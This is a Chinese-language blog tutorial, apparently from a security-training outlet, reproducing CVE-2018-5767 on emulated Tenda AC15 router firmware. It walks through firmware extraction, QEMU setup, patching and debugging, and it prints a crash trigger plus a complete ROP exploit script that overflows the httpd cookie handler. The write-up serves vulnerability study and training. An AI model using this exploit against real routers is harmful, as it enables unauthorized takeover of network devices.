cve-2018-5767 路由器栈溢出漏洞复现

点击蓝字

89572268f3a096412817c57eb7371aaf.png

关注我们

一、前言

本文通过arm架构的路由器栈溢出漏洞为例介绍IOT固件分析以及arm架构下的栈溢出利用。漏洞产生的原因是未对用户的输入进行合理的限制而直接使用sscanf函数拷贝到栈上,从而引发的栈溢出的情况。

实验环境

1、Ubuntu 18.04 

2、qemu 2.11.1

3、ida pro 7.6

4、路由器固件:Tenda AC15 15.03.1.16_multi

5、固件下载地址:

https://drivers.softpedia.com/dyn-postdownload.php/d27e8410d32cd9de63a3506c47ded1bc/61ff85c5/75eb7/4/1

二、固件仿真

下载固件后,通过binwalk工具导出固件文件系统,进入squashfs-root文件夹。

binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar
cd _US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar.extracted/squashfs-root/

使用readelf判断架构信息,为32位的小端arm架构。

e97d14c7e9f8a2c7cca94f0bdc6b7c71.png

使用qemu配合chroot启动/bin/httpd文件

sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp /usr/bin/qemu-arm-static .
sudo chroot ./ ./qemu-arm-static ./bin/httpd

d6aced5eedf2179fb3cc74c325315235.png

发现输出"Welcome to..."字符串后程序未继续执行,使用ida搜索发现字符串三处引用,进入第一处索引。

071de835ed7c3c89b27bfd2467c5f707.png

通过对汇编代码的分析不难发现,只需为R3赋值大于等于1即可跳出死循环。

c9367b4f2dd4faf011999599a5e6d9fc.png

使用Keypatch工具修改对应汇编代码,并在Edit-->Patch program-->Apply patches to input file中保存修改后的文件。

bca4cb873715296758a1d735bc549fff.png

替换掉原先的httpd文件并赋予执行权限后重新启动,发现如下报错

connect: No such file or directory
Connect to server failed.
connect cfm failed!

重新回到ida中查询调用,发现第二处判断,修改R3的办法与上面相同这里就不多赘述。

1bd0adbc1117ded81520b3dd00c9355c.png

再次执行程序,可以看到已经在正常监听端口了但是IP获取出现问题。

87e3ec0636eb5300f92bcfe89f8f7034.png

在网上查阅资料后发现问题点是名为get_eth_name的外部函数引起的,其定义库为libChipApi.so

b71dda283d61a4db1dc719b48fda1a1f.png

在本机建立虚拟网桥br0并重新执行程序

sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0
sudo chroot ./ ./qemu-arm-static ./bin/httpd

881bffa46daa8f79a7d13cf90f23189d.png


可以看到获取到的已经是本机的ip地址,仿真完成。

三、漏洞利用

在cve公布的poc中我们得知溢出点位于R7WebsSecurityHandler函数中,由于未对用户的请求进行合理的限制而直接使用sscanf函数讲用户输入复制到栈上。

bd03db2f6119a2486d2514fc9cba2658.png

而要想到达溢出点则需要满足url请求可以进入此if判断内,不难看出我们只要构造诸如"/goform/helloworld"即可进入if条件。

0f45c0899cf8289c45357d98375f4fc3.png

使用python脚本模拟请求令目标程序触发栈溢出崩溃。

import requests
URL = "http://192.168.107.142:81/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400}
requests.get(url=URL, cookies=cookie)

使用gdb-multiarch调试程序,首先修改程序启动命令

sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd

然后启用调试工具并设置断点在函数退出时的地址。

gdb-multiarch ./bin/httpd
target remote :1234
b *0x002ED18
continue

执行python脚本,发现程序并没有正常退出函数,而是断在了其他位置

0e2b342f6fe0f52e296a1a96b11b3e5f.png

使用bt命令查看调用路径,发现0x2c5cc在溢出后被执行,而这个子函数势必会干扰我们的利用。

2fc33cb15c37c709123d0508ba444a1f.png

回到漏洞函数中,我们发现如下代码,观察后发现只要我们的请求中包含诸如".png"的字样就可以直接令漏洞函数返回。

281af6e24d556c63ef0b211d25224890.png

修改python脚本并重新进行测试,成功修改函数返回地址。同时发现填充的字符串最低位发生了变化,这是因为arm模式与thumb模式的切换问题。在函数退出时执行了pop pc的操作,而其最低有效位(LSB)将会被写入到CPSR寄存器的T位中,而pc本身的最低位则会被置零。所以我们在计算偏移的时候这个地方需要注意。

e69521c7087e21badd8bc5a4129cc522.png

因为httpd开启NX保护的缘故,所以我们通过构造ropchain的方式完成利用。使用ropper工具从/lib/libc.so.0中查找所要用到的gadget,并且因为QEMU模拟并未开启地址随机化的缘故,所以我们可以在gdb中使用vmmap命令找到libc的基地址从而计算出我们需要的gadget。我这边选取了这俩段gadget来进行最终的利用。

0x00040cb8  mov r0, sp; blx r3;
0x00018298  pop {r3, pc};

EXP

import requests
from pwn import *

base = 0xff5d5000
libc = ELF('./lib/libc.so.0')

puts = base+libc.sym['puts']
_str = "Hello\x00"
mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base+0x00018298 # pop {r3, pc};
URL = "http://192.168.107.142:81/goform/helloworld"
pl = 'a'*448+p32(pop_r3)+p32(puts)+p32(mov_r0)+_str
cookie = {"Cookie":"password="+pl+".png"}
requests.get(url=URL, cookies=cookie)

d40ef1b5711470696744f9c99b22f410.png

ed4519638861bc3a4ed517531dc5a0b7.png

四、总结

通过此漏洞初步了解到IOT安全中固件分析的知识,拿来入门还是很好的。

实操推荐-D-Link路由器后门分析

https://www.hetianlab.com/expc.do?ce=35ffd251-fae0-4fba-9e6f-ae265ae10e60https://www.hetianlab.com/loginLab.do?pk_campaign=weixin-wemedia#stu

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

96c379425be041374a8a7eb74a745f27.gif

体验靶场实操,戳“阅读原文”体验

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值